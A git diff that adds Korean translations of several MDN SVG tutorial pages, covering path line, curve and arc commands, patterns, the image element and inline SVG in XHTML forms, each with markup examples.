+<p>선을 그리는 명령어는 세 가지가 있다. 가장 일반적인 것은 'L'이라 부르는 "Line To(선 그리기)" 명령어이다. L 명령어는 x, y라는 두 개의 파라미터를 받아서 현재 위치에서 새 위치로 선을 긋는다.</p>
+
+<pre> L x y (혹은 l dx dy)
+</pre>
+
+<p>가로선과 세로선을 그리는 축약 명령어도 있다. 'H'는 가로선을 그리고, 'V'는 세로선을 그릴 수 있다. 두 명령어는 한 좌표축으로만 이동하므로 하나의 파라미터만을 받는다.</p>
+
+<pre> H x (혹은 h dx)
+ V y (혹은 v dy)
+</pre>
+
+<p>도형 그리기부터 시작해 보자. 사각형을 그려볼 텐데(<code>&lt;rect&gt;</code>를 이용해 쉽게 그릴 수도 있다), 시작점부터 가로, 세로선도 함께 사용되었다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10 H 90 V 90 H 10 L 10 10"/&gt;
+
+  &lt;!-- 점 --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="90" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="10" cy="90" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>'Z'라는 "Close Path(패스 닫기)" 명령어를 통해 쉽게 패스를 마무리할 수 있다. 이 명령어는 현 위치에서 시작점으로 직선을 그린다. 항상은 아니지만 패스의 끝에 자주 쓰인다. 대문자와 소문자 사이의 차이는 없다.</p>
+
+<pre> Z (혹은 z)
+</pre>
+
+<p>위 코드를 짧게 줄여보면:</p>
+
+<pre class="brush: xml">&lt;path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>위의 형태를 상대좌표로도 표현해볼 수 있다. 상대좌표 명령어는 앞서 기술된 바와 같이 소문자로 되어 있는 명령어인데, 패스를 움직일 때 정확한 위치를 지정해주는 것이 아니라 현재 위치로부터 얼마나 움직여야 하는지를 기술해준다. 예를 들면 위 80x80 상자를 아래와 같이 표현할 수 있다.</p>
+
+<pre class="brush: xml">&lt;path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>여기서 패스는 (10,10)에서 시작하여 수평으로 80포인트<strong>만큼 오른쪽</strong>으로 움직이고 수직으로 80포인트<strong>만큼 아래로</strong> 이동하고 다시 시작점으로 이동하게 된다.</p>
+
+<p>위 예제의 모양을 만드는 데는 &lt;polygon&gt; 태그나 &lt;polyline&gt; 태그가 더 간편해보일 수 있지만, 패스는 SVG를 그릴 때 자주 사용되므로 개발자 입장에서 더 편할 수도 있다. 성능 면에서는 둘 모두 비슷비슷하니, 편한 것으로 사용하자.</p>
+
+<h2 id="곡선_(Curve)_명령어">곡선 (Curve) 명령어</h2>
+
+<p>부드러운 곡선을 그릴 수 있는 세 가지 명령어가 있다. 이 중 두 가지는 '베지어 곡선'이며, 나머지 하나는 원의 조각인 '호'이다. 베지어 곡선은 아마 일러스트레이터나 포토샵, 잉크스케이프 등의 벡터 그래픽 기반의 툴을 통해서 경험해봤을 것이다. 베지어 곡선의 수학적 배경은 <a class="external" href="https://en.wikipedia.org/wiki/B%C3%A9zier_curve">위키피디아</a>를 참조하길 바란다. 베지어 곡선의 종류는 무한하지만, 패스 엘리먼트에서는 가장 간단한 두 종류만을 지원한다. 하나는 'C'라고 부르는 3차(Cubic) 베지어 곡선이고, 다른 하나는 'Q'로 사용되는 2차(Quadratic) 베지어 곡선이다.</p>
+
+<h3 id="베지어_곡선">베지어 곡선</h3>
+
+<p>3차 베지어 곡선인 'C'는 조금 복잡한 곡선이다. 3차 베지어 곡선은 선을 잇는 두 점에 하나씩 제어점을 가지고 있다. 그러므로 3차 베지에 곡선을 그리려면 총 세 개의 좌표가 필요하다.</p>
+
+<pre> C x1 y1, x2 y2, x y (혹은 c dx1 dy1, dx2 dy2, dx dy)
+</pre>
+
+<p>마지막으로 지정된 좌표 (x, y)는 곡선의 끝점이다. 나머지 두 개는 제어점이며, 첫 번째 제어점은 (x1, y1), 두 번째 제어점은 (x2, y2)이다. 제어점은 기본적으로 시작점과 끝점에서 곡선의 방향을 기술한다. 베지어 함수는 각 제어점의 방향을 이용해 부드러운 곡선을 만드는 기능을 한다.</p>
+
+<p><img alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>위 예제에서는 아홉 개의 베지어 곡선을 그린다. 왼쪽으로 갈수록 곡선이 수평에 가까워지고, 오른쪽으로 갈수록 제어점이 원점에서 멀어진다. 여기서 주목해야 할 점은 곡선이 첫 번째 제어점 방향으로 시작한 다음, 두 번째 제어점 방향으로 구부러지고 있다는 것이다.</p>
+
+<p>여러 베지어 곡선을 연결하여 확장된 곡선 형태를 만들 수도 있다. 한 선의 제어점을 다른 선의 제어점과 반대 방향으로 그어서 완만한 경사를 만들어야 할 때가 많은데, 이 경우에는 간단한 형태의 3차 베지어 곡선 명령어인 'S' (혹은 's')를 사용해서 구현할 수 있다.</p>
+
+<pre> S x2 y2, x y (혹은 s dx2 dy2, dx dy)
+</pre>
+
+<p><code>S</code>는 위와 같은 형태의 곡선을 그리지만, 다른 <code>S</code>나 <code>C</code> 명령어 다음에 올 경우 첫 번째 제어점은 이전에 사용했던 제어점을 뒤집은 것으로 간주된다. <code>S</code> 명령어가 다른 <code>S</code>나 <code>C</code> 명령어 다음에 오지 않을 경우에는 현재 커서 위치가 첫 번째 제어점으로 사용되며, 이 경우에 그려지는 결과는 Q 명령어로 같은 파라미터를 사용해서 그린 결과와 같게 된다. 아래에 이 명령어의 예제가 있으며, 왼쪽의 미리보기에서 패스에 명시적으로 표시된 제어점은 빨간색, 생략된 제어점은 파란색으로 표시한다.</p>
+
+<p><img alt="ShortCut_Cubic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10405/ShortCut_Cubic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>3차 베지어 곡선보다 간단한 다른 형태의 곡선은 'Q'라고 부르는 2차 베지어 곡선이며, 하나의 제어점이 시작점과 끝점의 방향을 모두 결정한다. 이 명령어는 매개변수로 제어점과 곡선의 끝점 2개를 받는다.</p>
+
+<pre> Q x1 y1, x y (혹은 q dx1 dy1, dx dy)
+</pre>
+
+<p><img alt="Quadratic Bézier with grid" class="internal" src="https://mdn.mozillademos.org/files/10403/Quadratic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>3차 베지어 곡선과 같이 2차 베지어 곡선을 연결하는 단축 명령어가 있으며, T라고 부른다.</p>
+
+<pre> T x y (혹은 t dx dy)
+</pre>
+
+<p>이 축약 명령어는 이전에 사용한 제어점으로부터 새로운 제어점을 만들어낸다. 즉, 처음에 제어점 하나만을 기술하면 끝점만을 계속 이어서 꽤 복잡한 도형을 만들 수 있다.</p>
+
+<div class="note">
+<p>Q나 T 명령어 다음에 올 때만 적용된다. 그렇지 않을 경우 제어점은 시작점의 좌표로 간주되며, 직선만 그릴 수 있게 된다.</p>
+</div>
+
+<p><img alt="Shortcut_Quadratic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10407/Shortcut_Quadratic_Bezier_with_grid.png" style="float: right; height: 158px; width: 188px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>두 종류의 곡선이 비슷한 결과를 만들어내긴 하지만, 3차 곡선의 경우 모양을 더 자유롭게 수정할 수 있다. 둘 중 어느 것이 좋은지는 그때그때 다르며, 선 모양이 얼마나 대칭적인지에 따라 달라진다.</p>
+
+<h3 id="Arcs" name="Arcs">원호</h3>
+
+<p>SVG로 그릴 수 있는 다른 형태의 곡선으로는 A라고 부르는 호(arc)가 있다. 호는 원이나 타원의 일부분을 말한다. x, y축 반지름이 주어졌을 때, (두 점이 충분히 가깝다고 가정할 때) 두 점을 연결할 수 있는 타원은 2개가 있으며, 각각의 타원에서 두 점을 잇는 경로 또한 2개씩 있기 때문에 어떤 상황에서든 네 종류의 호를 그릴 수 있다. 이러한 성질 때문에 호 명령어는 꽤 많은 파라미터를 받는다:</p>
+
+<pre> A rx ry x축-회전각 큰-호-플래그 쓸기-방향-플래그 x y
+ a rx ry x축-회전각 큰-호-플래그 쓸기-방향-플래그 dx dy
+</pre>
+
+<p>A 명령어는 일단 x축, y축 반지름을 매개변수로 받는다. 혹시 필요하다면 <a href="/ko/docs/Web/SVG/Element/ellipse">ellipse</a> 문서에서 두 매개변수가 어떻게 작동하는지 확인해볼 수 있다. 세 번째 매개변수는 호의 회전각을 기술한다. 이는 아래 예제에서 잘 확인할 수 있다.</p>
+
+<p><img alt="SVGArcs_XAxisRotation_with_grid" class="internal" src="https://mdn.mozillademos.org/files/10409/SVGArcs_XAxisRotation_with_grid.png" style="float: right; height: 201px; width: 200px;"></p>
+
+<pre class="brush: xml">&lt;svg width="320" height="320" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 315
+           L 110 215
+           A 30 50 0 0 1 162.55 162.45
+           L 172.55 152.45
+           A 30 50 -45 0 1 215.1 109.9
+           L 315 10" stroke="black" fill="green" stroke-width="2" fill-opacity="0.5"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>이 예제는 페이지를 대각선으로 가로질러 이동하는 패스인데, 그 중간에 두 개의 타원형 호가 절단되어 있다(x축 반지름 = 30, y축 반지름 = 50). 첫 번째는 x축 회전각이 0이므로 호의 기준이 되는 타원(회색으로 표시)은 위아래로 똑바로 서 있다. 두 번째 호는 x축 회전각이 -45도이므로 회전을 해서 예제에서 보이는 것처럼 타원의 단축과 패스 방향이 나란해졌다.</p>
+
+<p>위에서 언급한 네 가지 경로는 이어지는 두 개의 매개변수 플래그에 의해 결정된다. 앞서 언급했듯이, 두 점을 잇는 타원도 2개, 각각 취할 수 있는 방향도 2개이므로 모두 네 가지 경로가 가능하다. 첫 번째 인수는 큰 호 플래그(large-arc-flag)이며, 중심각이 180도 이상이 될지를 결정한다. 결국, 이 플래그는 호가 주어진 원의 어느 방향을 따라 돌지를 결정한다. 두 번째 인수는 쓸기 방향 플래그(sweep-flag)이며, 호가 이동해야 할 각이 음인지 양인지를 결정한다. 이 각은 본질적으로 두 개의 원 중 어느 쪽을 따를지를 결정한다. 아래 예는 네 가지 가능한 조합을 각 사례별로 두 개의 원과 함께 표시하고 있다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/345/=SVGArcs_Flags.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="325" height="325" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M80 80
+           A 45 45, 0, 0, 0, 125 125
+           L 125 80 Z" fill="green"/&gt;
+  &lt;path d="M230 80
+           A 45 45, 0, 1, 0, 275 125
+           L 275 80 Z" fill="red"/&gt;
+  &lt;path d="M80 230
+           A 45 45, 0, 0, 1, 125 275
+           L 125 230 Z" fill="purple"/&gt;
+  &lt;path d="M230 230
+           A 45 45, 0, 1, 1, 275 275
+           L 275 230 Z" fill="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<p><span id="result_box" lang="ko"><span>마지막 두 개의 매개변수는 호가 끝나는 x와 y 좌표를 지정한다. </span><span>호는 도면에서 원 또는 타원 조각을 쉽게 만들 수 있는 방법이다. </span><span>예를 들어 원그래프는 각 조각마다 다른 호가 필요하다.</span></span></p>
+
+<p>원을 한 바퀴 도는 패스의 경우 시작점과 끝점이 같으므로 선택할 수 있는 원이 무한히 있으며, 그러므로 실제 패스가 정의되지 않는다. 이때는 시작점과 끝점을 살짝 비뚤어지게 배치하고 이 둘을 다른 패스 선으로 마저 이음으로써 비슷하게 만들 수 있지만, 이때는 실제 원이나 타원 노드를 쓰는 것이 쉬울 때가 많다.</p>
+
+<p><a href="/ko/docs/Web/HTML/Canvas">캔버스</a>에서 SVG로 넘어오는 사람에게는 호가 가장 배우기 어려울 수도 있지만, 그런 만큼 강력하기도 하다. 다음 반응형 예제를 보면 SVG 호의 개념을 이해하는 데 도움이 될 것이다. <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (크롬과 파이어폭스로만 테스트했으므로 일부 브라우저에서 동작하지 않을 수 있음)</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
diff --git a/files/ko/web/svg/tutorial/patterns/index.html b/files/ko/web/svg/tutorial/patterns/index.html
new file mode 100644
index 0000000000..025c9ad3c8
--- /dev/null
+++ b/files/ko/web/svg/tutorial/patterns/index.html
@@ -0,0 +1,72 @@
+---
+title: 패턴
+slug: Web/SVG/Tutorial/Patterns
+tags:
+  - 패턴
+translation_of: Web/SVG/Tutorial/Patterns
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}</p>
+
+<h2 id="패턴">패턴</h2>
+
+<p>패턴은 SVG에 사용할 보다 복잡한 채움 형태의 하나다.  또한 강력하다, 그래서 관련해서 얘기하고 적어도 기본을 익히는 것은 가치가 있다. 색퍼짐(gradients)처럼, 이 {{SVGElement('pattern')}} 요소도 SVG 파일의 <code>&lt;defs&gt;</code> 섹션에 놓여야 한다.</p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x="0" y="0" width=".25" height=".25"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Patterns','220','220','/files/725/SVG_Pattern_Example.png') }}</p>
+
+<p>패턴 요소 안에는 앞서 포함시킨 다른 기본 도형(shape)의 뭐라도 포함시킬 수 있다. 그리고 그것 각각에 앞서 배운 색퍼짐(gradients)이나 투명(opacity) 등으로 스타일을 줄 수 있다. 여기서 우리는 두개의 사각형(둘은 겹쳐 있고, 하나가 다른 것보다 2배 크기다. 이것이 패턴 전체를 채운다)과 하나의 동그라미를 그려 넣었다.</p>
+
+<p>패턴 관련 복잡한 작업이 단위 체계와 그 크기를 정하는 일이다. 위 예제에서, 우리는 패턴의 <code>폭(width)</code>과 <code>높이(height)</code> 속성을 정의했다. 이것들은 반복되는 패턴들이 서로 얼마나 떨어지는지를 나타내는 값이다. 이 사각형의 시작위치가 도면의 어딘가로부터 원하는 만큼 밀려나도록 하는 <code>x</code>와 <code>y</code> 속성도 가능한다. 이들이 여기에 사용된 이유는 아래에서 설명한다.</p>
+
+<p>패턴에도 앞서 봤던 <code>gradientUnits</code>같은 속성이 있다. <code>patternUnits</code>는 단위를 명시한다. 기본값은 마찬가지로 "objectBoundingBox"이다. 그래서 패턴이 적용될 객체의 폭/높이가 1로 표현된다. 그러므로 이 경우, 폭과 높이가 0.25로 설정되었으므로 우리가 원한 것은 수평과 수직으로 패턴이 4번 반복되는 것이다. 그 말은 패턴의 크기는 전체 박스 크기의 단지 0.25만큼이라는 것이다.</p>
+
+<p>색퍼짐(gradients)과 달리 패턴은 두번째 속성인 <code>patternContentUnits</code>을 가진다. 이것은 패턴 요소 내부의 기본 도형에 적용되는 단위 체계다. 기본값은 "userSpaceOnUse"로 <code>patternUnits</code> 속성과 반대다. 이 말은 이들 속성들(<code>patternContentUnits</code>과 <code>patternUnits</code>)을 따로 지정하지 않으면, 우리가 패턴 내부에 그리는 도형들은 패턴 요소가 사용하는 것과 다른 좌표 체계로 그려진다는 것이다. 이것은 직접 작성할 때 살짝 혼란스러울 수 있다는 것이다. 위 예제에서 이 일을 제대로 하려면, 우리의 박스 크기(200픽셀)와 우리가 수평과 수직으로 4번 반복되기를 원한다는 것을 감안해야 한다. 이 말은 각 패턴은 50x50의 정사각형이라는 것이다. 그래서 패턴 안, 두개의 사각형과 하나의 동그라미는 50x50 박스에 맞는 크기로 됐던 것이다. 이 박스 바깥에 그려지는 것들은 그게 뭐든 보이지 않을 것이다. 이 패턴은 또한 10 픽셀 만큼 밀려나야 한다 그래서 이것은 우리의 상자 왼쪽 위에서 시작할 것이다. 그래서 패턴의 x와 y 속성은 10/200 = 0.05로 조정 되어져야 한다.<br>
+ (역주: 예제의 x, y는 0인데, 설명은 계속 10인 것처럼 하고 있다. 뭔가 오류가 있는 것 같다)</p>
+
+<p>여기서 주의사항은 객체가 크기를 바꾸면 패턴도 그에 맞게 조정되지만, 그 내부는 그렇지 않다는 거다. 그래서 우리는 여전히 4번 반복된 패턴을 가지겠지만 내부의 객체들은 같은 크기를 유지할 것이고 그들 간에 커다란 빈 공간을 직면할 것이다. <code>patternContentUnits</code> 속성을 바꿔서 우리는 모든 요소가 같은 단위 체계에 놓이도록 할 수 있다:</p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
+   &lt;rect x="0" y="0" width=".25" height=".25" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>이제 패턴 내용물은 패턴과 같은 단위 체계라, 패턴이 바른 위치에서 시작하게 하려면 시작위치를 밀어내지 않아야 한다. 그리고 객체의 크기가 더 커지면 패턴은 자동적으로 조정되어 같은 수의 객체와 같은 회수로 반복될 것이다. 이것은 객체의 크기가 변했을 때, 패턴의 크기를 그대로 유지하면서 그냥 반복을 더해서 박스를 채우는 "userSpaceOnUse" 체계와 대조적이다.</p>
+
+<p><span id="result_box" lang="ko"><span>Gecko에서 반지름이 0.075보다 작은 동그라미를 </span></span><span lang="ko"><span>그리는 데 어려움이 있다(현재 이것이 패턴 요소에서의 버그인지 아닌지는 알 수 없다).</span> <span>이 문제를 해결하려면 </span>꼭 해야 하는 것이 아니라면 <span>"objectBoundingBox" 단위에서 그리는 것을 피하는 것이 아마 최선일 것이다.</span></span></p>
+
+<p><span id="result_box" lang="ko"><span>어느 것도 패턴을 생각할 때 일반적으로 생각하는 것이 아닙니다.</span> <span>패턴은 보통 크기가 정해지고, 객체의 모양과는 독립적으로 반복됩니다.</span> <span>이런 식으로 만들려면 패턴과 내용 둘다 현재의 사용자 공간에서 그려져야 한다. 객체를 다음처럼 하고, 도형을 바꾸지 않는다.</span></span></p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"&gt;
+   &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>물론 나중에 개체 크기를 변경해도 패턴의 크기는 조정되지 않는다. 위의 세 가지 예는 아래 높이를 300px로 약간 늘린 직사각형에 보이고 있지만 이게 완벽한 그림이 아니고, 시스템에 따라 가능한 다른 요인이 있음을 밝혀 둔다.</p>
+
+<p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}</p>
diff --git a/files/ko/web/svg/tutorial/svg_image_tag/index.html b/files/ko/web/svg/tutorial/svg_image_tag/index.html
new file mode 100644
index 0000000000..1fa061c57f
--- /dev/null
+++ b/files/ko/web/svg/tutorial/svg_image_tag/index.html
@@ -0,0 +1,35 @@
+---
+title: SVG 이미지 요소
+slug: Web/SVG/Tutorial/SVG_Image_Tag
+tags:
+  - 이미지
+  - 학습서
+translation_of: Web/SVG/Tutorial/SVG_Image_Tag
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}</p>
+
+<p>SVG {{ SVGElement("image") }} 요소는 비트맵 이미지를 SVG 객체와 함께 표시할 수 있도록 해 준다.</p>
+
+<p>이 기본 예제에서, {{ SVGAttr("href") }} 속성으로 참조된 a .jpg 이미지는 SVG 객체 내부에 표시될 것이다:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+&lt;svg width="5cm" height="4cm" version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"&gt;
+	&lt;image xlink:href="firefox.jpg" x="0" y="0" height="50px" width="50px"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>다음 몇가지를 주의하라(<a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElement" title="http://www.w3.org/TR/SVG/struct.html#ImageElement">W3 specs</a> 참조):</p>
+
+<ul>
+ <li>
+  <p>x 또는 y 속성을 설정하지 않으면 0이 된다.</p>
+ </li>
+ <li>
+  <p>height 또는 width 속성을 설정하지 않으면, 0이 된다.</p>
+ </li>
+ <li>height 또는 width 속성이 0이면 이미지는 표시되지 않을 것이다.</li>
+</ul>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}</p>
diff --git a/files/ko/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ko/web/svg/tutorial/svg_in_html_introduction/index.html
new file mode 100644
index 0000000000..4e06135569
--- /dev/null
+++ b/files/ko/web/svg/tutorial/svg_in_html_introduction/index.html
@@ -0,0 +1,73 @@
+---
+title: SVG In HTML Introduction
+slug: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+tags:
+  - SVG
+translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+---
+<p> </p>
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p>이 문서와 관련된 예제는 form의 배경 그림을 제공하기 위해서 inline <a href="ko/SVG">SVG</a>를 어떻게 사용하는지를 보여줍니다. 정규 XHTML을 작성하는 것과 같은 방식으로 그 그림들을 조작하기 위해 <a href="ko/JavaScript">JavaScript</a>와 <a href="ko/CSS">CSS</a>의 사용법도 설명합니다. 예제들은 XHTML(HTML이 아님)과 SVG integration을 지원하는 웹브라우져에서만 동작함을 유의하시기 바랍니다.</p>
+<h3 id=".EC.86.8C.EC.8A.A4" name=".EC.86.8C.EC.8A.A4">소스</h3>
+<p>예제에 대한 소스는 <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">여기</a>:</p>
+<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+  &lt;title&gt;XTech SVG Demo&lt;/title&gt;
+  &lt;style&gt;
+    stop.begin { stop-color:yellow; }
+    stop.end { stop-color:green; }
+    body.invalid stop.end { stop-color:red; }
+    #err { display:none; }
+    body.invalid #err { display:inline; }
+  &lt;/style&gt;
+  &lt;script&gt;
+    function signalError() {
+      document.getElementById('body').setAttribute("class", "invalid");
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+  &lt;form&gt;
+     &lt;fieldset&gt;
+       &lt;legend&gt;HTML Form&lt;/legend&gt;
+       &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
+          &lt;input type="text"/&gt;
+          &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+       &lt;p&gt;&lt;button onclick="signalError();"&gt;Activate!&lt;/button&gt;&lt;/p&gt;
+     &lt;/fieldset&gt;
+  &lt;/form&gt;
+  &lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+    &lt;linearGradient id="gradient"&gt;
+      &lt;stop class="begin" offset="0%"/&gt;
+      &lt;stop class="end" offset="100%"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+    &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+  &lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Discussion" name="Discussion">Discussion</h3>
+<p>위 페이지는 주로 정규 XHTML, CSS, JavaScript입니다. 다만 흥미로운 부분은 위 페이지에 포함되어 있는 &lt;svg&gt;원소입니다. 이 원소와 그 자식들은 SVG 네임스페이스 상에서 선언되어 있습니다. 이 원소는 하나의 색변화도(그라데이션)와 이 색변화도에 따라 내부가 채워진 두개의 도형을 포함하고 있습니다. 색변화도의 양끝의 색깔은 CSS에서 지정된 색을 가집니다. 만약 사용자가 form에 잘못된 내용을 입력하였다면 스크립트는 &lt;body&gt;태그에 <code>invalid</code>속성을 설정하고 스타일 규칙은 색변화도의 <code>end-stop</code>색을 빨간색으로 변경합니다. (나머지 스타일 규칙에 따라 에러 메시지가 출력됩니다.)</p>
+<p>이 방식은 수고면에서 다음과 같은 특징을 가집니다:</p>
+<ul>
+ <li>우리는 기존의 웹사이트들에서 이전부터 사용되어온 정규 XHTML의 form을 사용했으며 여기에 매력적이고 인터랙티브한 배경그림까지도 추가했습니다.</li>
+ <li>이 방식은 SVG를 지원하지 않는 웹브라우져와 하위 호완성을 가집니다; 단순히 이들 웹브라우져에서는 배경그림만 없을 뿐입니다.</li>
+ <li>단순한 방식이며 아주 잘 동작합니다.</li>
+ <li>그림은 동적으로 필요한 크기에 따라 영리하게 스스로 크기를 변경합니다.</li>
+ <li>HTML과 SVG 모두에게 적용될 수 있는 선언적 스타일 규칙들을 가질 수 있습니다.</li>
+ <li>같은 스크립트가 HTML과 SVG 모두를 조작할 수 있습니다.</li>
+ <li>문서는 완전히 표준에 기반하고 있습니다.</li>
+</ul>
+<h3 id="Details" name="Details">Details</h3>
+<p><code>viewBox</code>속성은 SVG 그림의 좌표계에 상대적인 논리적 좌표계를 생성합니다. 이 경우 그림은 100x100크기의 뷰포트에 놓여집니다.</p>
+<p><code>preserveAspectRatio</code>속성은 주어진 크기내에 그림을 넣을때 그림의 높이나 폭을 최대로 해서 주어진 크기에 맞게 그림을 맞추고 넘어가는 부분들을 잘라냄으로써 그림의 비율이 보존되도록 지정합니다.</p>
+<p><code>style</code>속성은 SVG 원소를 form의 배경에 고정시킵니다.</p>
+<h3 id="Related_Links" name="Related_Links">Related Links</h3>
+<ul>
+ <li>Another SVG in XHTML example: <a href="ko/SVG/Namespaces_Crash_Course/Example">A swarm of motes</a></li>
+ <li><a class="external" href="http://svg-whiz.com/wiki/index.php?title=Inline_SVG">Inline SVG</a> page on SVG wiki</li>
+</ul>
